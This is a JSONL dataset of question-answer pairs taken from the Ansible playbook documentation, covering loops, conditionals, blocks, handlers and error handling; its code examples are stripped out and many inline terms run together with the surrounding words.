{"id": "doc_c91b7892140c", "question": "Breaking out of a loop", "question_body": "", "answer": "Use thebreak_whendirective withloop_controlto exit a loop after any item, based on Jinja2 expressions.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.84, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_loops.html", "collected_at": "2026-01-17T09:15:34.636282"}
{"id": "doc_274352b8360b", "question": "Tracking progress through a loop withindex_var", "question_body": "", "answer": "To keep track of where you are in a loop, use theindex_vardirective withloop_control. This directive specifies a variable name to contain the current loop index.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.84, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_loops.html", "collected_at": "2026-01-17T09:15:34.636331"}
{"id": "doc_3bbf25cad5fd", "question": "Extended loop variables", "question_body": "", "answer": "As of Ansible 2.8, you can get extended loop information using theextendedoption to loop control. This option will expose the following information.\nTo disable theansible_loop.allitemsitem, to reduce memory consumption, setloop_control.extended_allitems:false.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.84, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_loops.html", "collected_at": "2026-01-17T09:15:34.636415"}
{"id": "doc_784a6d01a0d1", "question": "Accessing the name of your loop_var", "question_body": "", "answer": "As of Ansible 2.8, you can get the name of the value provided toloop_control.loop_varusing theansible_loop_varvariable\nFor role authors, writing roles that allow loops, instead of dictating the requiredloop_varvalue, you can gather the value through the following", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.89, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_loops.html", "collected_at": "2026-01-17T09:15:34.636469"}
{"id": "doc_efb17e9f81e9", "question": "Iterating over nested lists", "question_body": "", "answer": "The simplest way to ‘nest’ loops is to avoid nesting loops, just format the data to achieve the same result.\nYou can use Jinja2 expressions to iterate over complex lists. For example, a loop can combine nested lists, which simulates a nested loop.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.84, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_loops.html", "collected_at": "2026-01-17T09:15:34.636551"}
{"id": "doc_f368bf21a7d3", "question": "Stacking loops via include_tasks", "question_body": "", "answer": "You can nest two looping tasks usinginclude_tasks. However, by default, Ansible sets the loop variableitemfor each loop.\nThis means the inner, nested loop will overwrite the value ofitemfrom the outer loop.\nTo avoid this, you can specify the name of the variable for each loop usingloop_varwithloop_control.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.84, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_loops.html", "collected_at": "2026-01-17T09:15:34.636604"}
{"id": "doc_7b818ba50529", "question": "Migrating from with_X to loop", "question_body": "", "answer": "In most cases, loops work best with theloopkeyword instead ofwith_Xstyle loops. Theloopsyntax is usually best expressed using filters instead of more complex use ofqueryorlookup.\nThese examples show how to convert many commonwith_style loops toloopand filters.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.84, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_loops.html", "collected_at": "2026-01-17T09:15:34.636704"}
{"id": "doc_a490ccf703c4", "question": "with_nested/with_cartesian", "question_body": "", "answer": "with_nestedandwith_cartesianare replaced by loop and theproductfilter.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.84, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_loops.html", "collected_at": "2026-01-17T09:15:34.636756"}
{"id": "doc_3ea72e0a705e", "question": "Tasks that cannot be delegated", "question_body": "", "answer": "Some tasks are always executed on the control node. These tasks, includinginclude,add_host, anddebug, cannot be delegated.\nYou can determine if an action can be delegated from theconnectionattribute documentation.\nIf theconnectionattribute indicatessupportisFalseorNone, then the action does not use a connection and cannot be delegated.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.79, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_delegation.html", "collected_at": "2026-01-17T09:15:36.472715"}
{"id": "doc_be508826035f", "question": "Templating in delegation context", "question_body": "", "answer": "Be advised that under delegation, the execution interpreter (normally Python),connection,become, andshellplugin options will now be templated using values from the delegated to host. All variables exceptinventory_hostnamewill now be consumed from this host and not the original task host. If you need variables from the original task host for those options, you must usehostvars[inventory_hostname]['varname'], eveninventory_hostname_shortrefers to the delegated host.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.79, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_delegation.html", "collected_at": "2026-01-17T09:15:36.472759"}
{"id": "doc_a24845f14221", "question": "Delegation and parallel execution", "question_body": "", "answer": "By default, Ansible tasks are executed in parallel. Delegating a task does not change this and does not handle concurrency issues (multiple forks writing to the same file).\nMost commonly, users are affected by this when updating a single file on a single delegated to host for all hosts (using thecopy,template, orlineinfilemodules, for example). They will still operate in parallel forks (default 5) and overwrite each other.\nThis can be handled in several ways:\nBy using an intermediate play withserial: 1or usingthrottle: 1at the task level, for more detail seeControlling playbook execution: strategies and more", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.89, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_delegation.html", "collected_at": "2026-01-17T09:15:36.472817"}
{"id": "doc_66815fce98ce", "question": "Basic conditionals withwhen", "question_body": "", "answer": "The simplest conditional statement applies to a single task. Create the task, then add awhenstatement that applies a test. Thewhenclause is a raw Jinja2 expression without double curly braces (seeReferencing simple variables). When you run the task or playbook, Ansible evaluates the test for all hosts. On any host where the test passes (returns a value of True), Ansible runs that task. For example, if you are installing mysql on multiple machines, some of which have SELinux enabled, you might have a task to configure SELinux to allow mysql to run. You would only want that task to run on machines that have SELinux enabled:", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.89, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_conditionals.html", "collected_at": "2026-01-17T09:15:38.103502"}
{"id": "doc_a18da60e0e97", "question": "Conditionals based on ansible_facts", "question_body": "", "answer": "Often you want to execute or skip a task based on facts. Facts are attributes of individual hosts, including IP address, operating system, the status of a filesystem, and many more. With conditionals based on facts:\nSeeCommonly-used factsfor a list of facts that frequently appear in conditional statements. Not all facts exist for all hosts. For example, the ‘lsb_major_release’ fact used in the example below only exists when thelsb_releasepackageis installed on the target host. To see what facts are available on your systems, add a debug task to your playbook:\nHere is a sample conditional based on a fact:\nIf you have multiple conditions, you can group them with parentheses:\nYou can uselogical operatorsto combine conditions. When you have multiple conditions that all need to be true (that is, a logicaland), you can specify them as a list:\nIf a fact or variable is a string, and you need to run a mathematical comparison on it, use a filter to ensure that Ansible reads the value as an integer:", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.89, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_conditionals.html", "collected_at": "2026-01-17T09:15:38.103619"}
{"id": "doc_0f723e87b0e7", "question": "Conditions based on registered variables", "question_body": "", "answer": "Often in a playbook, you want to execute or skip a task based on the outcome of an earlier task. For example, you might want to configure a service after it is upgraded by an earlier task. To create a conditional based on a registered variable:\nYou create the name of the registered variable using theregisterkeyword. A registered variable always contains the status of the task that created it as well as any output that the task generated. You can use registered variables in templates and action lines as well as in conditionalwhenstatements. You can access the string contents of the registered variable usingvariable.stdout. For example:\nYou can use registered results in the loop of a task if the variable is a list. If the variable is not a list, you can convert it into a list, with eitherstdout_linesor withvariable.stdout.split(). You can also split the lines by other fields:\nThe string content of a registered variable can be empty. If you want to run another task only on hosts where the stdout of your registered variable is empty, check the registered variable’s string contents for emptiness:\nAnsible always registers something in a registered variable for every host, even on hosts where a task fails or Ansible skips a task because a condition is not met. To run a follow-up task on these hosts, query the registered variable forisskipped(not for “undefined” or “default”). SeeRegistering variablesfor more information. Here are sample conditionals based on the success or failure of a task. Remember to ignore errors if you want Ansible to continue executing on a host when a failure occurs:", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.89, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_conditionals.html", "collected_at": "2026-01-17T09:15:38.103727"}
{"id": "doc_1d071935306b", "question": "Conditionals based on variables", "question_body": "", "answer": "You can also create conditionals based on variables defined in the playbooks or inventory. Because conditionals require boolean input (a test must evaluate as True to trigger the condition), you must apply the|boolfilter to non-boolean variables, such as string variables with content like ‘yes’, ‘on’, ‘1’, or ‘true’. You can define variables like this:\nWith the variables above, Ansible would run one of these tasks and skip the other:\nIf a required variable has not been set, you can skip or fail using Jinja2’sdefinedtest. For example:\nThis is especially useful in combination with the conditional import ofvarsfiles (see below).\nAs the examples show, you do not need to use{{ }}to use variables inside conditionals, as these are already implied.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.89, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_conditionals.html", "collected_at": "2026-01-17T09:15:38.103804"}
{"id": "doc_874059683023", "question": "Using conditionals in loops", "question_body": "", "answer": "If you combine awhenstatement with aloop, Ansible processes the condition separately for each item. This is by design, so you can execute the task on some items in the loop and skip it on other items. For example:\nIf you need to skip the whole task when the loop variable is undefined, use the|defaultfilter to provide an empty iterator. For example, when looping over a list:\nYou can do the same thing when looping over a dict:", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.79, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_conditionals.html", "collected_at": "2026-01-17T09:15:38.103870"}
{"id": "doc_54b391685f16", "question": "Loading custom facts", "question_body": "", "answer": "You can provide your own facts, as described inShould you develop a module?.  To run them, just make a call to your own custom fact gathering module at the top of your list of tasks, and the variables returned there will be accessible for future tasks:", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.79, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_conditionals.html", "collected_at": "2026-01-17T09:15:38.103935"}
{"id": "doc_8e8044b0516b", "question": "Conditionals with reuse", "question_body": "", "answer": "You can use conditionals with reusable tasks files, playbooks, or roles. Ansible executes these conditional statements differently for dynamic reuse (includes) and static reuse (imports). SeeReusing Ansible artifactsfor more information on reuse in Ansible.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.79, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_conditionals.html", "collected_at": "2026-01-17T09:15:38.103988"}
{"id": "doc_186c4975d2d1", "question": "Selecting variables, files, or templates based on facts", "question_body": "", "answer": "Sometimes the facts about a host determine the values you want to use for certain variables or even the file or template you want to select for that host. For example, the names of packages are different on CentOS and Debian. The configuration files for common services are also different on different OS flavors and versions. To load different variables files, templates, or other files based on a fact about the hosts:\nAnsible separates variables from tasks, keeping your playbooks from turning into arbitrary code with nested conditionals. This approach results in more streamlined and auditable configuration rules because there are fewer decision points to track.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.89, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_conditionals.html", "collected_at": "2026-01-17T09:15:38.104138"}
{"id": "doc_37a7675e29bc", "question": "Debugging conditionals", "question_body": "", "answer": "If your conditionalwhenstatement is not behaving as you intended, you can add adebugstatement to determine if the condition evaluates totrueorfalse. A common cause of unexpected behavior in conditionals is testing an integer as a string or a string as an integer. To debug a conditional statement, add the entire statement as thevar:value in adebugtask. Ansible then shows the test and how the statement evaluates. For example, here is a set of tasks and sample output:", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.79, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_conditionals.html", "collected_at": "2026-01-17T09:15:38.104185"}
{"id": "doc_4bc0e390982a", "question": "Commonly-used facts", "question_body": "", "answer": "The following Ansible facts are frequently used in conditionals.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.84, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_conditionals.html", "collected_at": "2026-01-17T09:15:38.104283"}
{"id": "doc_87a3b33f76f4", "question": "ansible_facts[‘distribution_major_version’]", "question_body": "", "answer": "The major version of the operating system. For example, the value is16for Ubuntu 16.04.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.84, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_conditionals.html", "collected_at": "2026-01-17T09:15:38.104384"}
{"id": "doc_791fd5a72a94", "question": "Grouping tasks with blocks", "question_body": "", "answer": "All tasks in a block inherit directives applied at the block level. Most of what you can apply to a single task (with the exception of loops) can be applied at the block level, so blocks make it much easier to set data or directives common to the tasks. The directive does not affect the block itself, it is only inherited by the tasks enclosed by a block. For example, awhenstatement is applied to the tasks within a block, not to the block itself.\nIn the example above, the ‘when’ condition will be evaluated before Ansible runs each of the three tasks in the block. All three tasks also inherit the privilege escalation directives, running as the root user. Finally,ignore_errors:trueensures that Ansible continues to execute the playbook even if some of the tasks fail.\nNames for blocks have been available since Ansible 2.3. We recommend using names in all tasks, within blocks or elsewhere, for better visibility into the tasks being executed when you run the playbook.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.94, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_blocks.html", "collected_at": "2026-01-17T09:15:39.705956"}
{"id": "doc_9910a4e39bac", "question": "Handling errors with blocks", "question_body": "", "answer": "You can control how Ansible responds to task errors using blocks withrescueandalwayssections.\nRescue blocks specify tasks to run when an earlier task in a block fails. This approach is similar to exception handling in many programming languages. Ansible only runs rescue blocks after a task returns a ‘failed’ state.\nYou can also add analwayssection to a block. Tasks in thealwayssection run no matter what the task status of the previous block is.\nTogether, these elements offer complex error handling.\nThe tasks in theblockexecute normally. If any tasks in the block returnfailed, therescuesection executes tasks to recover from the error. Thealwayssection runs regardless of the results of theblockandrescuesections.\nIf an error occurs in the block and the rescue task succeeds, Ansible reverts the failed status of the original task for the run and continues to run the play as if the original task had succeeded. The rescued task is considered successful and does not triggermax_fail_percentageorany_errors_fatalconfigurations. However, Ansible still reports a failure in the playbook statistics.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.89, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_blocks.html", "collected_at": "2026-01-17T09:15:39.706066"}
{"id": "doc_d22d2bcebce0", "question": "Notifying and loops", "question_body": "", "answer": "Tasks can use loops to notify handlers. This is particularly useful when combined with variables to trigger multiple dynamic notifications.\nNote that the handlers are triggered if the task as a whole is changed. When a loop is used the changed state is set if any of the loop items are changed.  That is, any change triggers all of the handlers.\nIn the above example both memcached and apache will be restarted if either template file is changed, neither will be restarted if no file changes.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.79, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_handlers.html", "collected_at": "2026-01-17T09:15:41.162441"}
{"id": "doc_cf7a208c855f", "question": "Handler insertion order into the play", "question_body": "", "answer": "There is only one global, play-level scope for handlers regardless of where the handlers are defined, either in thehandlers:section or in roles. The order in which handlers are added into the play is as follows:\nHandlers from roles in theroles:section.Handlers from thehandlers:section.Handlers from roles statically imported viaimport_roletasks.Handlers from roles dynamically included viainclude_roletasks (available at runtime only after theinclude_roletask executed).\nIn case handlers having the same name the last one loaded into the play, as per the above order, can be notified and executed.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.89, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_handlers.html", "collected_at": "2026-01-17T09:15:41.162507"}
{"id": "doc_4068014b6b5b", "question": "Controlling when handlers run", "question_body": "", "answer": "By default, handlers run after all the tasks in a particular play have been completed. Notified handlers are executed automatically after each of the following sections, in the following order:pre_tasks,roles/tasksandpost_tasks. This approach is efficient, because the handler only runs once, regardless of how many tasks notify it. For example, if multiple tasks update a configuration file and notify a handler to restart Apache, Ansible only bounces Apache once to avoid unnecessary restarts.\nIf you need handlers to run before the end of the play, add a task to flush them using themeta module, which executes Ansible actions:\nThemeta:flush_handlerstask triggers any handlers that have been notified at that point in the play.\nOnce handlers are executed, either automatically after each mentioned section or manually by theflush_handlersmeta task, they can be notified and run again in later sections of the play.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.89, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_handlers.html", "collected_at": "2026-01-17T09:15:41.162576"}
{"id": "doc_55f62f929216", "question": "Defining when tasks change", "question_body": "", "answer": "You can control when handlers are notified about task changes using thechanged_whenkeyword.\nIn the following example, the handler restarts the service each time the configuration file is copied:\nSeeDefining “changed”for more aboutchanged_when.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.84, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_handlers.html", "collected_at": "2026-01-17T09:15:41.162632"}
{"id": "doc_9e28f5ba6d53", "question": "Using variables with handlers", "question_body": "", "answer": "You may want your Ansible handlers to use variables. For example, if the name of a service varies slightly by distribution, you want your output to show the exact name of the restarted service for each target machine. Avoid placing variables in the name of the handler. Since handler names are templated early on, Ansible may not have a value available for a handler name like this:\nIf the variable used in the handler name is not available, the entire play fails. Changing that variable mid-playwill notresult in newly created handler.\nInstead, place variables in the task parameters of your handler. You can load the values usinginclude_varslike this:\nWhile handler names can contain a template,listentopics cannot.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.89, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_handlers.html", "collected_at": "2026-01-17T09:15:41.162713"}
{"id": "doc_70304642329b", "question": "Includes and imports in handlers", "question_body": "", "answer": "Notifying a dynamic include such asinclude_taskas a handler results in executing all tasks from within the include. It is not possible to notify a handler defined inside a dynamic include.\nHaving a static include such asimport_taskas a handler results in that handler being effectively rewritten by handlers from within that import before the play execution. A static include itself cannot be notified; the tasks from within that include, on the other hand, can be notified individually.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.79, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_handlers.html", "collected_at": "2026-01-17T09:15:41.162756"}
{"id": "doc_cd7c198c58d4", "question": "Meta tasks as handlers", "question_body": "", "answer": "Since Ansible 2.14meta tasksare allowed to be used and notified as handlers. Note that howeverflush_handlerscannot be used as a handler to prevent unexpected behavior.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.89, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_handlers.html", "collected_at": "2026-01-17T09:15:41.162790"}
{"id": "doc_0122ace209b1", "question": "Ignoring failed commands", "question_body": "", "answer": "By default, Ansible stops executing tasks on a host when a task fails on that host. You can useignore_errorsto continue despite of the failure.\nTheignore_errorsdirective only works when the task can run and returns a value of ‘failed’. It does not make Ansible ignore undefined variable errors, connection failures, execution issues (for example, missing packages), or syntax errors.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.79, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_error_handling.html", "collected_at": "2026-01-17T09:15:42.886688"}
{"id": "doc_439acbd87792", "question": "Ignoring unreachable host errors", "question_body": "", "answer": "You can ignore a task failure due to the host instance being ‘UNREACHABLE’ with theignore_unreachablekeyword. Ansible ignores the task errors but continues to execute future tasks against the unreachable host. For example, at the task level:\nAnd at the playbook level:", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.84, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_error_handling.html", "collected_at": "2026-01-17T09:15:42.886755"}
{"id": "doc_e4b04a754a42", "question": "Resetting unreachable hosts", "question_body": "", "answer": "If Ansible cannot connect to a host, it marks that host as ‘UNREACHABLE’ and removes it from the list of active hosts for the run. You can usemeta:clear_host_errorsto reactivate all hosts, so subsequent tasks can try to reach them again.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.84, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_error_handling.html", "collected_at": "2026-01-17T09:15:42.886789"}
{"id": "doc_d913d5b70e21", "question": "Handlers and failure", "question_body": "", "answer": "Ansible runshandlersat the end of each play. If a task notifies a handler but\nanother task fails later in the play, by default the handler doesnotrun on that host,\nwhich may leave the host in an unexpected state. For example, a task could update\na configuration file and notify a handler to restart some service. If a\ntask later in the same play fails, the configuration file might be changed but\nthe service will not be restarted.\nYou can change this behavior with the--force-handlerscommand-line option,\nby includingforce_handlers:Truein a play, or by addingforce_handlers=Trueto ansible.cfg. When handlers are forced, Ansible will run all notified handlers on\nall hosts, even hosts with failed tasks. (Note that certain errors could still prevent\nthe handler from running, such as a host becoming unreachable.)", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.89, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_error_handling.html", "collected_at": "2026-01-17T09:15:42.886838"}
{"id": "doc_84afdc23789a", "question": "Ensuring success for command and shell", "question_body": "", "answer": "Thecommandandshellmodules care about return codes, so if you have a command whose successful exit code is not zero, you can do this:", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.84, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_error_handling.html", "collected_at": "2026-01-17T09:15:42.886896"}
{"id": "doc_4bb757fad770", "question": "Aborting a play on all hosts", "question_body": "", "answer": "Sometimes you want a failure on a single host, or failures on a certain percentage of hosts, to abort the entire play on all hosts. You can stop play execution after the first failure happens withany_errors_fatal. For finer-grained control, you can usemax_fail_percentageto abort the run after a given percentage of hosts has failed.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.79, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_error_handling.html", "collected_at": "2026-01-17T09:15:42.886939"}
{"id": "doc_8d909d4f27eb", "question": "Aborting on the first error: any_errors_fatal", "question_body": "", "answer": "If you setany_errors_fataland a task returns an error, Ansible finishes the fatal task on all hosts in the current batch and then stops executing the play on all hosts. Subsequent tasks and plays are not executed. You can recover from fatal errors by adding arescue sectionto the block. You can setany_errors_fatalat the play or block level.\nYou can use this feature when all tasks must be 100% successful to continue playbook execution. For example, if you run a service on machines in multiple data centers with load balancers to pass traffic from users to the service, you want all load balancers to be disabled before you stop the service for maintenance. To ensure that any failure in the task that disables the load balancers will stop all other tasks:\nIn this example, Ansible starts the software upgrade on the front ends only if all of the load balancers are successfully disabled.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.94, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_error_handling.html", "collected_at": "2026-01-17T09:15:42.886999"}
{"id": "doc_345c1651993d", "question": "Setting a maximum failure percentage", "question_body": "", "answer": "By default, Ansible continues to execute tasks as long as there are hosts that have not yet failed. In some situations, such as when executing a rolling update, you may want to abort the play when a certain threshold of failures has been reached. To achieve this, you can set a maximum failure percentage on a play:\nThemax_fail_percentagesetting applies to each batch when you use it withserial. In the example above, if more than 3 of the 10 servers in the first (or any) batch of servers failed, the rest of the play would be aborted.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.89, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_error_handling.html", "collected_at": "2026-01-17T09:15:42.887063"}
{"id": "doc_78adf3c31511", "question": "Controlling errors in blocks", "question_body": "", "answer": "You can also use blocks to define responses to task errors. This approach is similar to exception handling in many programming languages. SeeHandling errors with blocksfor details and examples.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.74, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_error_handling.html", "collected_at": "2026-01-17T09:15:42.887160"}
{"id": "doc_24fb88271865", "question": "Setting the remote environment in a task", "question_body": "", "answer": "You can set the environment directly at the task level.\nYou can reuse environment settings by defining them as variables in your play and accessing them in a task as you would access any stored Ansible variable.\nYou can store environment settings for reuse in multiple playbooks by defining them in a group_vars file.\nYou can set the remote environment at the play level.\nThese examples show proxy settings, but you can provide any number of settings this way.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.79, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_environment.html", "collected_at": "2026-01-17T09:15:44.326622"}
{"id": "doc_4fd01bd0af9c", "question": "Creating reusable files and roles", "question_body": "", "answer": "Ansible offers four distributed, reusable artifacts: variables files, task files, playbooks, and roles.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.84, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_reuse.html", "collected_at": "2026-01-17T09:15:46.676724"}
{"id": "doc_fac63a79948b", "question": "When to turn a playbook into a role", "question_body": "", "answer": "For some use cases, simple playbooks work well. However, starting at a certain level of complexity, roles work better than playbooks. A role lets you store your defaults, handlers, variables, and tasks in separate directories, instead of in a single long document. Roles are easy to share on Ansible Galaxy. For complex use cases, most users find roles easier to read, understand, and maintain than all-in-one playbooks.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.79, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_reuse.html", "collected_at": "2026-01-17T09:15:46.676769"}
{"id": "doc_edd6eca4e8df", "question": "Reusing files and roles", "question_body": "", "answer": "Ansible offers two ways to reuse files and roles in a playbook: dynamic and static.\nTask include and import statements can be used at arbitrary depth.\nYou can still use the bareroleskeyword at the play level to incorporate a role in a playbook statically. However, the bareincludekeyword, once used for both task files and playbook-level includes, is now deprecated.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.79, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_reuse.html", "collected_at": "2026-01-17T09:15:46.676841"}
{"id": "doc_2727697df88a", "question": "Includes: dynamic reuse", "question_body": "", "answer": "Including roles, tasks, or variables adds them to a playbook dynamically. Ansible processes included files and roles as they come up in a playbook, so included tasks can be affected by the results of earlier tasks within the top-level playbook. Included roles and tasks are similar to handlers - they may or may not run, depending on the results of other tasks in the top-level playbook.\nThe primary advantage of usinginclude_*statements is looping. When a loop is used with an include, the included tasks or roles will be executed once for each item in the loop.\nThe file names for included roles, tasks, and vars are templated before inclusion.\nYou can pass variables into includes. SeeVariable precedence: where should I put a variable?for more details on variable inheritance and precedence.", "tags": ["https://docs"], "source": "official_docs", "category": "https://docs", "difficulty": "intermediate", "quality_score": 0.89, "question_score": 10, "answer_score": 10, "has_code": true, "url": "https://docs.ansible.com/ansible/latest/playbook_guide/playbooks_reuse.html", "collected_at": "2026-01-17T09:15:46.676896"}
